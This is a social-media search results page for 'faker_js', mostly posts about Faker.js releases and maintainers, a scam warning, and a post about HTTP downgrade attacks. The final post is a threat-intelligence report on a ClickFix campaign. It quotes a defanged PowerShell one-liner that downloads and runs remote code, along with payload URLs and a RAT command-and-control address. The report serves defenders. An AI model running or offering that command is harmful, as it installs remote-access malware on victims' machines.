home.social

Search

1000 results for “faker_js”

  1. We published v8.0 last week

    It is now marked as stable and we only did a v8.0.1 cleanup just right now that provides "correct" JSDocs to the official fakerjs.dev/ docs
    So there are no runtime changes between 8.0.0 to 8.0.1, just the tooltips when you hover in VSCode

  2. We published github.com/faker-js/faker/rele

    1. Please read the top of the release notes
    2. Please explore next.fakerjs.dev/
    3. Please test the beta using the upgrading guideline next.fakerjs.dev/guide/upgradi and report any feedback here or per GitHub Issue related to the upgrading guide

  3. At Faker we now introduced a **awesome-faker** repository 🐼

    If you know any resources, repositories, tutorials or whatever,
    feel free to open a PR or issue 🙌

    github.com/faker-js/awesome-fa

    #awesome #faker #Fakerjs #opensource

  4. One of my co-maintainer at #Fakerjs wrote a wonderful comment about how to do open source contribution

    github.com/faker-js/faker/disc

    @patak this might even interest you 🤔

    #opensource #contribute

  5. @katherined I love this!

    I'd like to tag @jessicasachs, @Shini92, and the rest of the new faker.js team on #GratitudeTuesday and thank them for their work over the last year after the previous maintainer rage-quit the project. It's an important tool for testing, and testing is important for security and reliability. 🙏🏻🙏🏻🙏🏻

  6. @katherined I love this!

    I'd like to tag @jessicasachs, @Shini92, and the rest of the new faker.js team on #GratitudeTuesday and thank them for their work over the last year after the previous maintainer rage-quit the project. It's an important tool for testing, and testing is important for security and reliability. 🙏🏻🙏🏻🙏🏻

  7. @katherined I love this!

    I'd like to tag @jessicasachs, @Shini92, and the rest of the new faker.js team on and thank them for their work over the last year after the previous maintainer rage-quit the project. It's an important tool for testing, and testing is important for security and reliability. 🙏🏻🙏🏻🙏🏻

  8. @katherined I love this!

    I'd like to tag @jessicasachs, @Shini92, and the rest of the new faker.js team on #GratitudeTuesday and thank them for their work over the last year after the previous maintainer rage-quit the project. It's an important tool for testing, and testing is important for security and reliability. 🙏🏻🙏🏻🙏🏻

  9. @katherined I love this!

    I'd like to tag @jessicasachs, @Shini92, and the rest of the new faker.js team on #GratitudeTuesday and thank them for their work over the last year after the previous maintainer rage-quit the project. It's an important tool for testing, and testing is important for security and reliability. 🙏🏻🙏🏻🙏🏻

  10. 🌟 Component-driven development with Faker: @jess had an amazing interview. Watch it here twitch.tv/videos/1883125872 or later on YouTube.

  11. 📢 WCP 2023-07-20 🗓️ (Weekly Community Post)

    We just had an awesome Faker team meeting with some exciting discussions and decisions! Here's a quick rundown of what we covered:

    👥 Participants: @Shini92 xDivisionByZerox import-brain ST-DDT

  12. The both code-maintainer @ST-DDT and @Shini92 (that's me :ablobcatangel:) will now go into a ~2 month vacation/hibernation mode to rest a bit from working for
    So in this time it is not expected that any features will be merged!
    If there are high critical bugs or something really important that needs to be done/fixed, @Shini92 is still ping-able and alive.

    Wish you all happy coding with and thanks for being a great community :blobcatheart:

  13. JSON Server - Get a full fake REST API with zero coding in less than 30 seconds. github.com/typicode/json-serve #Dev #APIRest #JSON

  14. Reupload from GamingOnLinux — beware fake Steam Deck deals! JSAUX fell for a scam; watch this quick video to learn how to spot fraudulent sites and protect your wallet. Quick, practical tips to keep you safe online — share to warn others! #SteamDeck #ScamAlert #JSAUX #GamingOnLinux #PeerTube #Gaming #Security #English
    stl1988.peertube-host.de/video

  15. Reupload from GamingOnLinux — beware fake Steam Deck deals! JSAUX fell for a scam; watch this quick video to learn how to spot fraudulent sites and protect your wallet. Quick, practical tips to keep you safe online — share to warn others! #SteamDeck #ScamAlert #JSAUX #GamingOnLinux #PeerTube #Gaming #Security #English
    stl1988.peertube-host.de/video

  16. Reupload from GamingOnLinux — beware fake Steam Deck deals! JSAUX fell for a scam; watch this quick video to learn how to spot fraudulent sites and protect your wallet. Quick, practical tips to keep you safe online — share to warn others! #SteamDeck #ScamAlert #JSAUX #GamingOnLinux #PeerTube #Gaming #Security #English
    stl1988.peertube-host.de/video

  17. Reupload from GamingOnLinux — beware fake Steam Deck deals! JSAUX fell for a scam; watch this quick video to learn how to spot fraudulent sites and protect your wallet. Quick, practical tips to keep you safe online — share to warn others! #SteamDeck #ScamAlert #JSAUX #GamingOnLinux #PeerTube #Gaming #Security #English
    stl1988.peertube-host.de/video

  18. Reupload from GamingOnLinux — beware fake Steam Deck deals! JSAUX fell for a scam; watch this quick video to learn how to spot fraudulent sites and protect your wallet. Quick, practical tips to keep you safe online — share to warn others! #SteamDeck #ScamAlert #JSAUX #GamingOnLinux #PeerTube #Gaming #Security #English
    stl1988.peertube-host.de/video

  19. Milestone #accomplished
    All #novation #circuit parameters now have a working knob/switch/fader widget in my #openStageControl #ui.
    I have a #json object containing all the parameters and their #midi sysexdump position, cc address or nrpn msb lsb, min, max, range, default and a field for additional notes as a string for comments.
    Now I need to add a field to each control containing the matching widget ID and then I can translate between sysex dump and osc state for preset management. Let's go.

  20. Watch out as North Korean group #UNC1069 targets Node.js maintainers using fake LinkedIn and Slack profiles to spread malware and compromise open source packages.

    Read: hackread.com/unc1069-node-js-m

    #CyberSecurity #NorthKorea #LinkedIn #Slack #Malware

  21. @jsjoshua

    Oh, no! Then how will Amazon fool people into buying all those crappy products? Like the drum brushes I was shopping for?

    You know when, instead of usual drum/cymbal sounds "ba-dum ching!" you want the "tss tss tss" sound? For that, drummers use those metal fibre brushes instead of drumsticks.

    Several #Amazon reviews said: "Great brushes! I got my drums really clean!" The fake reviewer thought the brushes were for CLEANING instead of being a musical instrument.

    #FakeReviews

  22. @jscalzi : please stop using a http links if websites support https.

    By specifying vote.org (or vote.org/ which gives the same result) in a link, or by typing vote.org in the address bar of your browser, there are three possibilities:

    1) the browser connects to the _real_ vote.org website;

    2) the browser displays a certificate error (never continue in such a case);

    3) extemely unlikely (see [1]): the browser connects to a fake website that managed to obtain a valid certificate for the vote.org domain name.

    (Note: I used the Unicode '/' character instead of the regular slash char '/' to prevent Mastodon from hiding the protocol).

    By default, _none_ of the popular web browsers prevents active (i.e. not passive) criminals from successfully conducting Man-in-the-Middle attacks - if the first connection-attempt uses http.

    Most browsers _may_ TRY https first, but an attacker can block that request, forcing the browser to downgrade to http (if the user explicitly requested https, such a downgrade to http will _not_ happen).

    Such attacks can be conducted in various ways, such as by using an "evil twin" WiFi access point (bleepingcomputer.com/news/secu) or by manipulating DNS replies to browsers.

    Note: the domain "vote.org" is currently _not_ listed in the HSTS preload list (apparently it was removed because of stupidities): hstspreload.org/?domain=vote.o (being listed would _force_ browsers to use https, even if "the user" requested http by tapping on such a link).

    See also the unnecessarily poor results in internet.nl/site/vote.org/2883

    Unfortunately also @BleepingComputer regularly uses unnecessary http links in their articles.

    [1] More info: infosec.exchange/@Bitwiper/112

    @adamshostack

    #http #https #httpsvshttp#httpvshttps #AitM #MitM #EvilTwin #DNS #DNSAttacks #DV #DomainValidated #DomainValidation #Certificates #TLSCertificates #httpsCertificates #httpsServerCertificates #ServerCertificates #Authentication #Impersonation

  23. @jscalzi : please stop using a http links if websites support https.

    By specifying vote.org (or vote.org/ which gives the same result) in a link, or by typing vote.org in the address bar of your browser, there are three possibilities:

    1) the browser connects to the _real_ vote.org website;

    2) the browser displays a certificate error (never continue in such a case);

    3) extemely unlikely (see [1]): the browser connects to a fake website that managed to obtain a valid certificate for the vote.org domain name.

    (Note: I used the Unicode '/' character instead of the regular slash char '/' to prevent Mastodon from hiding the protocol).

    By default, _none_ of the popular web browsers prevents active (i.e. not passive) criminals from successfully conducting Man-in-the-Middle attacks - if the first connection-attempt uses http.

    Most browsers _may_ TRY https first, but an attacker can block that request, forcing the browser to downgrade to http (if the user explicitly requested https, such a downgrade to http will _not_ happen).

    Such attacks can be conducted in various ways, such as by using an "evil twin" WiFi access point (bleepingcomputer.com/news/secu) or by manipulating DNS replies to browsers.

    Note: the domain "vote.org" is currently _not_ listed in the HSTS preload list (apparently it was removed because of stupidities): hstspreload.org/?domain=vote.o (being listed would _force_ browsers to use https, even if "the user" requested http by tapping on such a link).

    See also the unnecessarily poor results in internet.nl/site/vote.org/2883

    Unfortunately also @BleepingComputer regularly uses unnecessary http links in their articles.

    [1] More info: infosec.exchange/@Bitwiper/112

    @adamshostack

    #http #https #httpsvshttp#httpvshttps #AitM #MitM #EvilTwin #DNS #DNSAttacks #DV #DomainValidated #DomainValidation #Certificates #TLSCertificates #httpsCertificates #httpsServerCertificates #ServerCertificates #Authentication #Impersonation

  24. @jscalzi : please stop using a http links if websites support https.

    By specifying vote.org (or vote.org/ which gives the same result) in a link, or by typing vote.org in the address bar of your browser, there are three possibilities:

    1) the browser connects to the _real_ vote.org website;

    2) the browser displays a certificate error (never continue in such a case);

    3) extemely unlikely (see [1]): the browser connects to a fake website that managed to obtain a valid certificate for the vote.org domain name.

    (Note: I used the Unicode '/' character instead of the regular slash char '/' to prevent Mastodon from hiding the protocol).

    By default, _none_ of the popular web browsers prevents active (i.e. not passive) criminals from successfully conducting Man-in-the-Middle attacks - if the first connection-attempt uses http.

    Most browsers _may_ TRY https first, but an attacker can block that request, forcing the browser to downgrade to http (if the user explicitly requested https, such a downgrade to http will _not_ happen).

    Such attacks can be conducted in various ways, such as by using an "evil twin" WiFi access point (bleepingcomputer.com/news/secu) or by manipulating DNS replies to browsers.

    Note: the domain "vote.org" is currently _not_ listed in the HSTS preload list (apparently it was removed because of stupidities): hstspreload.org/?domain=vote.o (being listed would _force_ browsers to use https, even if "the user" requested http by tapping on such a link).

    See also the unnecessarily poor results in internet.nl/site/vote.org/2883

    Unfortunately also @BleepingComputer regularly uses unnecessary http links in their articles.

    [1] More info: infosec.exchange/@Bitwiper/112

    @adamshostack

    #http #https #httpsvshttp#httpvshttps #AitM #MitM #EvilTwin #DNS #DNSAttacks #DV #DomainValidated #DomainValidation #Certificates #TLSCertificates #httpsCertificates #httpsServerCertificates #ServerCertificates #Authentication #Impersonation

  25. 2026-04-27 (Monday):

    Example of #SmartApeSG URLs for fake CAPTCHA/human verification page:

    - hxxps[:]//datanexlab[.]top/trace/audit-module.js
    - hxxps[:]//datanexlab[.]top/trace/refresh-css.php?hZ5akaYM
    - hxxps[:]//datanexlab[.]top/trace/alias-thread.js?78a6eb157b4ca38e45

    #ClickFix script injected into clipboard:

    powershell -c iex(irm 216.120.201[.]116 -UseBasicParsing)

    Traffic leading to #RAT payload:

    - hxxp[:]//216.120.201[.]116/
    - hxxp[:]//104.225.129[.]105/
    - hxxps[:]//truebasecore[.]com/io

    Zip archive with package for RAT payload:

    - SHA256 hash: 5a30867937f1e2f714c8b398436135c63c164267602cc66a5adb5b4c2ed55365

    #RAT payload C2 traffic:

    - tcp[:]//89.110.110[.]119:443/